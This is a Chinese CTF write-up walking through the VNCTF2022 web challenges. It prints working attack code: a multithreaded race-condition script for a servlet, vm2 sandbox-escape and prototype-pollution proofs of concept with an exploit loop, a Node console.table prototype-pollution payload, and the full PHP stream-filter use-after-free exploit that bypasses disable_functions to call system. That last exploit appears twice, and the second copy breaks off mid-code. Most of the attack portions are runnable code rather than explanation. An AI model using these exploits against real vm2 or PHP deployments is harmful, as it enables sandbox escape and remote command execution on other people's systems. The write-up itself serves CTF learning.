VNCTF2022 web全复现

VNCTF 2021 冰冰好像藏着秘密 发现冰冰藏着的flag,flag格式为VNCTF{*} 得到FFT.rar 但是直接打开会提示 这个存在一个考察的点:rar伪加密 但是在实战中笔者发现两个绕过的方法 1)用kali打开 2)如上图图一所示,在winrar报错的情况下,直接拖出FFT.png,也能达到解压的效果 而按出题人本身的意思,是在使用010打开的情况下: 把下图的84改成80 通过搜索得知文件名FFT为: 下面是大佬脚本: import cv2 as cv import numpy as np imp. 阅读详情

web

GameV4.0

前端小游戏题,直接想到查看js源代码

image-20220403211635600

在data.js文件中搜索到了关键词flag,且后面附着着一个base64编码的字符串,解码试试

image-20220403211743383

得到flag,再将其url解码一下就行

VNCTF{Welcome_to_VNCTF2022}

gocalc0

image-20220403213046423

go语言的ssti,传入{{.}}指向当前的类,类似于this,然后输出源代码

import (
	_ "embed"
	"fmt"
	"os"
	"reflect"
	"strings"
	"text/template"

	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"github.com/maja42/goval"
)

//go:embed template/index.html
var tpl string

//go:embed main.go
var source string

type Eval struct {
	E string `json:"e" form:"e" binding:"required"`
}

func (e Eval) Result() (string, error) {
	eval := goval.NewEvaluator()
	result, err := eval.Evaluate(e.E, nil, nil)
	if err != nil {
		return "", err
	}
	t := reflect.ValueOf(result).Type().Kind()

	if t == reflect.Int {
		return fmt.Sprintf("%d", result.(int)), nil
	} else if t == reflect.String {
		return result.(string), nil
	} else {
		return "", fmt.Errorf("not valid type")
	}
}

func (e Eval) String() string {
	res, err := e.Result()
	if err != nil {
		fmt.Println(err)
		res = "invalid"
	}
	return fmt.Sprintf("%s = %s", e.E, res)
}

func render(c *gin.Context) {
	session := sessions.Default(c)

	var his string

	if session.Get("history") == nil {
		his = ""
	} else {
		his = session.Get("history").(string)
	}

	fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
	t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
	if err != nil {
		fmt.Println(err)
		c.String(500, "internal error")
		return
	}
	if err := t.Execute(c.Writer, map[string]string{
		"s0uR3e": source,
	}); err != nil {
		fmt.Println(err)
	}
}

func main() {
	port := os.Getenv("PORT")
	if port == "" {
		port = "8080"
	}

	r := gin.Default()
	store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
	r.Use(sessions.Sessions("session", store))

	r.GET("/", func(c *gin.Context) {
		render(c)
	})

	r.GET("/flag", func(c *gin.Context) {
		session := sessions.Default(c)
		session.Set("FLAG", os.Getenv("FLAG"))
		session.Save()
		c.String(200, "flag is in your session")
	})

	r.POST("/", func(c *gin.Context) {
		session := sessions.Default(c)

		var his string

		if session.Get("history") == nil {
			his = ""
		} else {
			his = session.Get("history").(string)
		}

		eval := Eval{}
		if err := c.ShouldBind(&eval); err == nil {
			his = his + eval.String() + "<br/>"
		}
		session.Set("history", his)
		session.Save()
		render(c)
	})

	r.Run(fmt.Sprintf(":%s", port))
}
] = invalid
package main

import (
	_ "embed"
	"fmt"
	"os"

	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
)

func main() {
	port := os.Getenv("PORT")
	if port == "" {
		port = "8088"
	}
	r := gin.Default()
	store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
	r.Use(sessions.Sessions("session", store))
	r.GET("/flag", func(c *gin.Context) {
		session := sessions.Default(c)
		c.String(200, session.Get("FLAG").(string))
	})
	r.Run(fmt.Sprintf(":%s", port))
}

go语言还不是很看得懂,但是大概能够才出来,将解析flag的关键代码带出来放在本地,然后将在题目环境里面的得到的flag让在本地进行解析,也就是image-20220403222837440

image-20220403222845911

image-20220403222849941

easyJ4va

信息收集

image-20220406200008895

打开提示file?

image-20220406200118153

这里又说了输入一个url

image-20220406200251272

image-20220406200305882

后面发现是使用file协议

然后就是查看java字节码文件的目录

file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF
这里官方给了另外一个协议netdoc,跟file用法是一样的,但是这个netdoc协议在jdk9以后就不能用了
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF

image-20220406200835962

以下为读文件的payload

file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes
controller
entity
    User.class
servlet
    FileServlet.class
	HelloWorldServlet.class
util
    Secr3t.class
    SerAndDe.class
    UrlUtil.class
file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/FileServlet.class
file?url=netdoc:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/servlet/HelloWorldServlet.class

使用jadx反编译

image-20220406201845470

HelloWorldServlet.class
    
package servlet;

import entity.User;
import java.io.IOException;
import java.util.Base64;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import util.Secr3t;
import util.SerAndDe;

@WebServlet(name = "HelloServlet", urlPatterns = {"/evi1"})
public class HelloWorldServlet extends HttpServlet {
    private volatile String age = "666";
    private volatile String height = "180";
    private volatile String name = "m4n_q1u_666";
    User user;

    public void init() throws ServletException {
        this.user = new User(this.name, this.age, this.height);
    }

    /* access modifiers changed from: protected */
    public void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String reqName = req.getParameter("name");
        if (reqName != null) {
            this.name = reqName;
        }
        if (Secr3t.check(this.name)) {
            Response(resp, "no vnctf2022!");
        } else if (Secr3t.check(this.name)) {
            Response(resp, "The Key is " + Secr3t.getKey());
        }
    }

    /* access modifiers changed from: protected */
    public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String key = req.getParameter("key");
        String text = req.getParameter("base64");
        if (!Secr3t.getKey().equals(key) || text == null) {
            Response(resp, "KeyError");
            return;
        }
        if (this.user.equals((User) SerAndDe.deserialize(Base64.getDecoder().decode(text)))) {
            Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
        }
    }

    private void Response(HttpServletResponse resp, String outStr) throws IOException {
        ServletOutputStream out = resp.getOutputStream();
        out.write(outStr.getBytes());
        out.flush();
        out.close();
    }
}

也可以用IDEA反编译

image-20220406202144432

主要看hello那里

image-20220407192208531

可以看到要拿到flag,必须要满足这两个if条件,一个是要传入密钥key,一个是反序列化一个一样的user对象

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String key = req.getParameter("key");
    String text = req.getParameter("base64");
    if (Secr3t.getKey().equals(key) && text != null) {
        Decoder decoder = Base64.getDecoder();
        byte[] textByte = decoder.decode(text);
        User u = (User)SerAndDe.deserialize(textByte);
        if (this.user.equals(u)) {
            this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
        }
    } else {
        this.Response(resp, "KeyError");
    }

}

所以后面就要就要完成两步,一是拿到密钥key,而是反序列化

获取key

首先我们跟进一下Secr3t类看一看

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package util;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import org.apache.commons.lang3.RandomStringUtils;

public class Secr3t {
    private static final String Key = RandomStringUtils.randomAlphanumeric(32);
    private static StringBuffer Flag;

    private Secr3t() {
    }

    public static String getKey() {
        return Key;
    }

    public static StringBuffer getFlag() {
        Flag = new StringBuffer();
        InputStream in = null;

        try {
            in = Runtime.getRuntime().exec("/readflag").getInputStream();
        } catch (IOException var12) {
            var12.printStackTrace();
        }

        BufferedReader read = new BufferedReader(new InputStreamReader(in));

        try {
            String line = null;

            while((line = read.readLine()) != null) {
                Flag.append(line + "\n");
            }
        } catch (IOException var13) {
            var13.printStackTrace();
        } finally {
            try {
                in.close();
                read.close();
            } catch (IOException var11) {
                var11.printStackTrace();
                System.out.println("Secr3t : io exception!");
            }

        }

        return Flag;
    }

    public static boolean check(String checkStr) {
        return "vnctf2022".equals(checkStr);
    }
}

然后看到doGet那里可以获取key

image-20220407202018598

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String reqName = req.getParameter("name");
    if (reqName != null) {
        this.name = reqName;
    }

    if (Secr3t.check(this.name)) {
        this.Response(resp, "no vnctf2022!");
    } else {
        if (Secr3t.check(this.name)) {
            this.Response(resp, "The Key is " + Secr3t.getKey());
        }

    }
}

跟进Secr3t.check

image-20220407202108106

就是一个比较传入的参数为不为vnctf2022

然后回到doGet这里,我们要获取key,就要绕过第一个if,即this.name先不为vnctf2022,然后再下一个if下又为vnctf2022,这里就接触到一个线程安全的漏洞,就是servlet在收到请求的时候不会每次请求都实例化一个对象,这样太消耗资源了,所以servlet处理请求时是在第一次实例化一个类,当后面再次请求的时候会使用之前实例化的那个对象,也就是说相当于多个人同时操作一个对象,我们再看一下这个deGet函数

image-20220407203511522

它判断的是实例化对象的属性,也就是说只要我们在进入第一个if的时候,用另外一个线程让它的name属性不为vnctf2022,然后当进入第二个线程的时候,在操作它变成vnctf2022,那不就进入了第二个if条件内吗,所以就措一个多线程脚本

import time
import requests
from threading import Thread

url = 'http://d7546473-9645-4fac-af9d-d0eebea2d5cc.node4.buuoj.cn:81/evi1'
payload1 = "?name=vnctf2022"
payload2 = "?name=pysnow"
ses = requests.session()


def get(session, payload):
    while True:
        res = session.get(url=url+payload)
        print(url+payload)
        print(res.text)
        if "key" in res.text:
            print(res.text)
        time.sleep(0.1)


if __name__ == '__main__':
    for i in range(2):
        Thread(target=get, args=(ses, payload1,)).start()
    for j in range(2):
        Thread(target=get, args=(ses, payload2,)).start()

image-20220407205304709

这里注意一个点,就是不要跑得太快了,BUU上的环境你跑考了它就会给你报429,后面就相当于没有传进去参数,我这里是只开了四个线程,两个判断正确的线程,两个判断错误的线程,再加上一个时间延时

最后拿到key

fpXvAgpKpgl8v0eRYpUBPkleBqqhRBRY

反序列化

然后继续看到doPost这里

image-20220407210439643

这里就是将传入的text参数进行base64解码并转化为字节溜形式,然后传入SerAndDe.deserialize()方法进行处理,看这个名字猜测这个SerAndDe.deserialize的作用就是反序列化,这里可以不用去审这个方法,可以先试着直接反序列化,等不成功的时候再去审代码,或者说直接使用SerAndDe.serialize()方法

image-20220407212658516

然后就是写payload了,将User和SerAndDe的源码分别提取出来,然后再另外写一个类去导入它们,就行了

image-20220407214427444

import entity.User;
import java.util.Base64;
import util.SerAndDe;


public class testSerializable
{
    public static void main(String[] args){
        User user = new User("m4n_q1u_666","666","180");
        Base64.Encoder  encoder = Base64.getEncoder();
        byte[] textByte = SerAndDe.serialize(user);
        String text = encoder.encodeToString(textByte);
        System.out.println(text);
    }
}

然后执行

image-20220407214526424

image-20220407214549530

发现并打不通,看了一下wp发现,这个height属性加了transient修饰,不能直接反序列化

image-20220407214651784

可以用题目给的代码看一下反序列化出的结果

String text1="rO0ABXNyAAtlbnRpdHkuVXNlcm1aqowD0DcIAgACTAADYWdldAASTGphdmEvbGFuZy9TdHJpbmc7TAAEbmFtZXEAfgABeHB0AAM2NjZ0AAttNG5fcTF1XzY2Ng==";
        Base64.Decoder decoder = Base64.getDecoder();
        byte[] textByte1 = decoder.decode(text1);
        User u = (User)SerAndDe.deserialize(textByte1);
        System.out.println(u);

image-20220407215111414

发现反序列化的结果为null

所以我们就要考虑怎么绕过这个transient修饰

这里可以直接参照https://blog.youkuaiyun.com/u010156024/article/details/48345257,重写一下writeObject方法

image-20220407215840611

private void writeObject(ObjectOutputStream s) throws IOException{
        s.defaultWriteObject();
        s.writeObject(this.height);
    }

image-20220407220446984

image-20220407220456731

newcalc0

非预期

一道nodejs的题,给出了源码

const express = require("express");
const path = require("path");
const vm2 = require("vm2");

const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());

app.use(express.static("static"));

const vm = new vm2.NodeVM();

app.use("/eval", (req, res) => {
  const e = req.body.e;
  if (!e) {
    res.send("wrong?");
    return;
  }
  try {
    res.send(vm.run("module.exports="+e)?.toString() ?? "no");
  } catch (e) {
    console.log(e)
    res.send("wrong?");
  }
});

app.use("/flag", (req, res) => {
  if(Object.keys(Object.prototype).length > 0) {
    Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);
    res.send(process.env.FLAG);
  } else {
    res.send(Object.keys(Object.prototype));
  }
})

app.use("/source", (req, res) => {
  let p = req.query.path || "/src/index.js";
  p = path.join(path.resolve("."), path.resolve(p));
  console.log(p);
  res.sendFile(p);
});

app.use((err, req, res, next) => {
  console.log(err)
  res.redirect("index.html");
});

app.listen(process.env.PORT || 8888);

简单的审一下源码,可以发现这里有三个路由

eval: 用于执行代码,但是是在vm2虚拟机中执行的,所以就要考虑怎么绕过这个虚拟机

flag: 用于输出flag,但是要满足条件,这里马上反应到原型链污染

source: 用于查看源码,而且这里也可以通过传入path参数,来查看文件

这里给出了提示package.json,应该就是叫我们查看package.json文件,那么我们首先访问一下

/source?path=/package.json

image-20220404142709759

{
  "name": "name",
  "version": "0.1.1",
  "description": "Description",
  "private": true,
  "main": "src/index.js",
  "scripts": {
    "start:single": "node src/index.js",
    "start": "pm2 start src/index.js -i 1",
    "log": "pm2 logs -f"
  },
  "dependencies": {
    "express": "^4.17.1",
    "pm2": "^4.5.6",
    "vm2": "^3.9.5"
  },
  "devDependencies": {
    "@types/express": "^4.17.8",
    "@types/node": "^14.10.1",
    "prettier": "^2.0.5"
  }
}

这里主要看一下依赖那一栏,vm2使用的版本,然后找一下有没有相关的去绕过vm2^3.9.5的漏洞

image-20220404143051418

https://security.snyk.io/vuln/SNYK-JS-VM2-2309905

PoC 1

// tested on Node.js 16.10.0
const {VM} = require('vm2');

vmInstance = new VM();    

console.log(vmInstance.run(`    
function foo(ref) {
 new Error().stack;    
}
let obj = {};
Object.defineProperty(Object.prototype, 0, {
 set: function () {                        
     foo(this);
     try {      
         obj[0] = 0;
     } catch (e) {
         e.__proto__.__proto__.__proto__.polluted = 'success';            
     }
 }
})
`));
console.log(polluted);

PoC 2

// tested with Node.js 17.1.0 and latest vm2 version
// generated from "/home/cris/work/js-isolation/analysis/Dataset/1V8/regress/regress-672041.js", partially with the support of the generator
const {VM} = require('vm2');

vmInstance = new VM();    

vmInstance.run(`
function getRootPrototype(obj) {        
 while (obj.__proto__) {
     obj = obj.__proto__;
 }
 return obj;    
}
function stack(ref, cb) {
 let stack = new Error().stack;
 stack.match(/checkReferenceRecursive/g);        
}
try {            
 global.temp0 = RegExp.prototype.__defineGetter__('global', () => {    
     getRootPrototype(this);                
     stack(this);        
     return true;
 }), function functionInvocationAnalysis(r) {        
     stack(r);
 }(temp0), global.temp0;
 RegExp.prototype.exec = function (str) {        
     stack(arguments);        
 };    
} catch (e) {    

	// payload
 getRootPrototype(e).polluted = "success";   
}
`);

image-20220405231745801

由上图可知,要满足Object.keys(Object.prototype).length > 0,就可以改变Object.prototype的值,根据js原生链调用的关系,就可以直接写出payload如下

getRootPrototype(e).prototype=[1,2,3];

然后使用

module.exports=Object.keys(Object.prototype);
查看注入是否成功

最后写出exp如下

import requests

url = 'http://179ed22a-d122-499f-87b6-a0dbda4d03ee.node4.buuoj.cn:81/eval'
data = {
    "e": '''1;function getRootPrototype(obj) {        
    while (obj.__proto__) {
        obj = obj.__proto__;
    }
    return obj;    
}
function stack(ref, cb) {
    let stack = new Error().stack;
    stack.match(/checkReferenceRecursive/g);        
}
try {            
    global.temp0 = RegExp.prototype.__defineGetter__('global', () => {    
        getRootPrototype(this);                
        stack(this);        
        return true;
    }), function functionInvocationAnalysis(r) {        
        stack(r);
    }(temp0), global.temp0;
    RegExp.prototype.exec = function (str) {        
        stack(arguments);        
    };    
} catch (e) {    
 getRootPrototype(e).as=[1,2,3];
 module.exports=Object.keys(Object.prototype);
}
'''}
while True:
    res = requests.post(url=url, data=data)
    print(res.text)

image-20220405233544690

image-20220405233554870

预期解

https://nodejs.org/zh-cn/blog/vulnerability/jan-2022-security-releases/

CVE直接打

image-20220405233821731

发现可以影响非常小,但是这道题足够了

image-20220405234430659

console.table([{a:1}],['__proto__'])

image-20220406162216234

InterestingPHP

image-20220406162458834

打开就是一个RCE点

image-20220406162626930

过滤了phpinfo,猜测应该是在设置里禁用了很多函数的那种题

​ image-20220406162840454

array(3) {
  ["global_value"]=>
  string(816) "include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var"
  ["local_value"]=>
  string(816) "include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var"
  ["access"]=>
  int(4)
include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var 
open_basedir
    /var/www/html

image-20220406163510470

使用scandir扫描目录,发现了一个secret.rdb,这个是redis的数据文件

然后下面就可以分为几种解法了

解法一

https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php

<?php
pwn('uname -a');

function pwn($cmd) {
    define('LOGGING', false);
    define('CHUNK_DATA_SIZE', 0x60);
    define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
    define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
    define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
    define('CMD', $camd);
    for($i = 0; $i < 10; $i++) {
        $groom[] = Pwn::alloc(STRING_SIZE);
    }
    stream_filter_register('pwn_filter', 'Pwn');
    $fd = fopen('php://memory', 'w');
    stream_filter_append($fd,'pwn_filter');
    fwrite($fd, 'x');
}

class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
    private $abc, $abc_addr;
    private $helper, $helper_addr, $helper_off;
    private $uafp, $hfp;

    public function filter($in, $out, &$consumed, $closing) {
        if($closing) return;
        stream_bucket_make_writeable($in);
        $this->filtername = Pwn::alloc(STRING_SIZE);
        fclose($this->stream);
        $this->go();
        return PSFS_PASS_ON;
    }

    private function go() {
        $this->abc = &$this->filtername;

        $this->make_uaf_obj();

        $this->helper = new Helper;
        $this->helper->b = function($x) {};

        $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
        $this->log("helper @ 0x%x", $this->helper_addr);

        $this->abc_addr = $this->helper_addr - CHUNK_SIZE;
        $this->log("abc @ 0x%x", $this->abc_addr);

        $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;

        $helper_handlers = $this->str2ptr(CHUNK_SIZE);
        $this->log("helper handlers @ 0x%x", $helper_handlers);

        $this->prepare_leaker();

        $binary_leak = $this->read($helper_handlers + 8);
        $this->log("binary leak @ 0x%x", $binary_leak);
        $this->prepare_cleanup($binary_leak);

        $closure_addr = $this->str2ptr($this->helper_off + 0x38);
        $this->log("real closure @ 0x%x", $closure_addr);

        $closure_ce = $this->read($closure_addr + 0x10);
        $this->log("closure class_entry @ 0x%x", $closure_ce);

        $basic_funcs = $this->get_basic_funcs($closure_ce);
        $this->log("basic_functions @ 0x%x", $basic_funcs);

        $zif_system = $this->get_system($basic_funcs);
        $this->log("zif_system @ 0x%x", $zif_system);

        $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
        for($i = 0; $i < 0x138; $i += 8) {
            $this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->write($fake_closure_off + 0x38, 1, 4);

        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->write($fake_closure_off + $handler_offset, $zif_system);

        $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
        $this->write($this->helper_off + 0x38, $fake_closure_addr);
        $this->log("fake closure @ 0x%x", $fake_closure_addr);

        $this->cleanup();
        ($this->helper->b)(CMD);
    }

    private function make_uaf_obj() {
        $this->uafp = fopen('php://memory', 'w');
        fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
        for($i = 0; $i < STRING_SIZE; $i++) {
            fwrite($this->uafp, "\x00");
        }
    }

    private function prepare_leaker() {
        $str_off = $this->helper_off + CHUNK_SIZE + 8;
        $this->write($str_off, 2);
        $this->write($str_off + 0x10, 6);

        $val_off = $this->helper_off + 0x48;
        $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
        $this->write($val_off + 8, 0xA);
    }

    private function prepare_cleanup($binary_leak) {
        $ret_gadget = $binary_leak;
        do {
            --$ret_gadget;
        } while($this->read($ret_gadget, 1) !== 0xC3);
        $this->log("ret gadget = 0x%x", $ret_gadget);
        $this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
        $this->write(8, $ret_gadget);
    }

    private function read($addr, $n = 8) {
        $this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
        $value = strlen($this->helper->c);
        if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
        return $value;
    }

    private function write($p, $v, $n = 8) {
        for($i = 0; $i < $n; $i++) {
            $this->abc[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    private function get_basic_funcs($addr) {
        while(true) {
            // In rare instances the standard module might lie after the addr we're starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this->read($addr, 4) === 0xA8 &&
                in_array($this->read($addr + 4, 4),
                    [20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
                $module_name_addr = $this->read($addr + 0x20);
                $module_name = $this->read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    $this->log("standard module @ 0x%x", $addr);
                    return $this->read($addr + 0x28);
                }
            }
        }
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->read($addr);
            $f_name = $this->read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
                return $this->read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }

    private function cleanup() {
        $this->hfp = fopen('php://memory', 'w');
        fwrite($this->hfp, pack('QQ', 0, $this->abc_addr));
        for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
            fwrite($this->hfp, "\x00");
        }
    }

    private function str2ptr($p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($this->abc[$p + $j]);
        }
        return $address;
    }

    private function ptr2str($ptr, $n = 8) {
        $out = '';
        for ($i = 0; $i < $n; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    private function log($format, $val = '') {
        if(LOGGING) {
            printf("{$format}\n", $val);
        }
    }

    static function alloc($size) {
        return str_shuffle(str_repeat('A', $size));
    }
}
?>

使用这个脚本绕过disbale_function,先用脚本检查一下是否有被禁用的函数没有

filter = 'include,include_once,require,require_once,stream_get_contents,fwrite,readfile,file_get_contents,fread,fgets,' \
         'fgetss,file,parse_ini_file,show_source,fsockopen,proc_open,ini_set,pfsockopen,ini_alter,ini_get,posix_kill,' \
         'phpinfo,putenv,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,' \
         'pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,' \
         'pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,' \
         'pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,' \
         'iconv,system,exec,shell_exec,popen,passthru,symlink,link,syslog,imap_open,dl,mail,stream_socket_client,' \
         'error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,get_cfg_var'.split(
    ',')
payload = '''
<?php
pwn('uname -a');

function pwn($cmd) {
    define('LOGGING', false);
    define('CHUNK_DATA_SIZE', 0x60);
    define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
    define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
    define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
    define('CMD', $camd);
    for($i = 0; $i < 10; $i++) {
        $groom[] = Pwn::alloc(STRING_SIZE);
    }
    stream_filter_register('pwn_filter', 'Pwn');
    $fd = fopen('php://memory', 'w');
    stream_filter_append($fd,'pwn_filter');
    fwrite($fd, 'x');
}

class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
    private $abc, $abc_addr;
    private $helper, $helper_addr, $helper_off;
    private $uafp, $hfp;

    public function filter($in, $out, &$consumed, $closing) {
        if($closing) return;
        stream_bucket_make_writeable($in);
        $this->filtername = Pwn::alloc(STRING_SIZE);
        fclose($this->stream);
        $this->go();
        return PSFS_PASS_ON;
    }

    private function go() {
        $this->abc = &$this->filtername;

        $this->make_uaf_obj();

        $this->helper = new Helper;
        $this->helper->b = function($x) {};

        $this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
        $this->log("helper @ 0x%x", $this->helper_addr);

        $this->abc_addr = $this->helper_addr - CHUNK_SIZE;
        $this->log("abc @ 0x%x", $this->abc_addr);

        $this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;

        $helper_handlers = $this->str2ptr(CHUNK_SIZE);
        $this->log("helper handlers @ 0x%x", $helper_handlers);

        $this->prepare_leaker();

        $binary_leak = $this->read($helper_handlers + 8);
        $this->log("binary leak @ 0x%x", $binary_leak);
        $this->prepare_cleanup($binary_leak);

        $closure_addr = $this->str2ptr($this->helper_off + 0x38);
        $this->log("real closure @ 0x%x", $closure_addr);

        $closure_ce = $this->read($closure_addr + 0x10);
        $this->log("closure class_entry @ 0x%x", $closure_ce);

        $basic_funcs = $this->get_basic_funcs($closure_ce);
        $this->log("basic_functions @ 0x%x", $basic_funcs);

        $zif_system = $this->get_system($basic_funcs);
        $this->log("zif_system @ 0x%x", $zif_system);

        $fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
        for($i = 0; $i < 0x138; $i += 8) {
            $this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
        }
        $this->write($fake_closure_off + 0x38, 1, 4);

        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this->write($fake_closure_off + $handler_offset, $zif_system);

        $fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
        $this->write($this->helper_off + 0x38, $fake_closure_addr);
        $this->log("fake closure @ 0x%x", $fake_closure_addr);

        $this->cleanup();
        ($this->helper->b)(CMD);
    }

    private function make_uaf_obj() {
        $this->uafp = fopen('php://memory', 'w');
        fwrite($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
        for($i = 0; $i < STRING_SIZE; $i++) {
            fwrite($this->uafp, "\x00");
        }
    }

    private function prepare_leaker() {
        $str_off = $this->helper_off + CHUNK_SIZE + 8;
        $this->write($str_off, 2);
        $this->write($str_off + 0x10, 6);

        $val_off = $this->helper_off + 0x48;
        $this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
        $this->write($val_off + 8, 0xA);
    }

    private function prepare_cleanup($binary_leak) {
        $ret_gadget = $binary_leak;
        do {
            --$ret_gadget;
